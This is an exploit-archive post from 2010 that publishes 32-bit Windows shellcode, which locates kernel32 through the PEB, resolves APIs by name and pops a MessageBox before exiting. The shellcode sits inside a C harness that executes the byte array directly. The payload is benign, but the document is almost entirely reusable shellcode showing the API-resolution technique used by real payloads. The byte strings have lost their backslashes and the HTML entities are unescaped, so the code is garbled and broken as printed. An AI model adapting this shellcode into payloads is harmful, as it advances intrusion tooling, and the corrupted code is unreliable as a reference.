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win32 MessageBoxA Shellcode

Posted on 11 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>win32 MessageBoxA Shellcode </title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===========================
win32 MessageBoxA Shellcode 
===========================

/*
Title: Allwin MessageBoxA Shellcode
Date: 2010-06-11
Author: RubberDuck
Web: http://bflow.security-portal.cz
Tested on: Win 2k, Win 2003, Win XP Home SP2/SP3 CZ/ENG (32), Win Vista (32)/(64), Win 7 (32)/(64), Win 2k8 (32)
Thanks to: kernelhunter, Lodus, Vrtule, Mato, cm3l1k1, eat, st1gd3r and others
*/
 
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
 
int main(){
    unsigned char shellcode[]=
    &quot;xFCx33xD2xB2x30x64xFFx32x5Ax8B&quot;
    &quot;x52x0Cx8Bx52x14x8Bx72x28x33xC9&quot;
    &quot;xB1x18x33xFFx33xC0xACx3Cx61x7C&quot;
    &quot;x02x2Cx20xC1xCFx0Dx03xF8xE2xF0&quot;
    &quot;x81xFFx5BxBCx4Ax6Ax8Bx5Ax10x8B&quot;
    &quot;x12x75xDAx8Bx53x3Cx03xD3xFFx72&quot;
    &quot;x34x8Bx52x78x03xD3x8Bx72x20x03&quot;
    &quot;xF3x33xC9x41xADx03xC3x81x38x47&quot;
    &quot;x65x74x50x75xF4x81x78x04x72x6F&quot;
    &quot;x63x41x75xEBx81x78x08x64x64x72&quot;
    &quot;x65x75xE2x49x8Bx72x24x03xF3x66&quot;
    &quot;x8Bx0Cx4Ex8Bx72x1Cx03xF3x8Bx14&quot;
    &quot;x8Ex03xD3x52x33xFFx57x68x61x72&quot;
    &quot;x79x41x68x4Cx69x62x72x68x4Cx6F&quot;
    &quot;x61x64x54x53xFFxD2x68x33x32x01&quot;
    &quot;x01x66x89x7Cx24x02x68x75x73x65&quot;
    &quot;x72x54xFFxD0x68x6Fx78x41x01x8B&quot;
    &quot;xDFx88x5Cx24x03x68x61x67x65x42&quot;
    &quot;x68x4Dx65x73x73x54x50xFFx54x24&quot;
    &quot;x2Cx57x68x4Fx5Fx6Fx21x8BxDCx57&quot;
    &quot;x53x53x57xFFxD0x68x65x73x73x01&quot;
    &quot;x8BxDFx88x5Cx24x03x68x50x72x6F&quot;
    &quot;x63x68x45x78x69x74x54xFFx74x24&quot;
    &quot;x40xFFx54x24x40x57xFFxD0&quot;;
 
    printf(&quot;Size = %d
&quot;, strlen(shellcode));
 
    system(&quot;PAUSE&quot;);
 
    ((void (*)())shellcode)();
 
    return 0;
}


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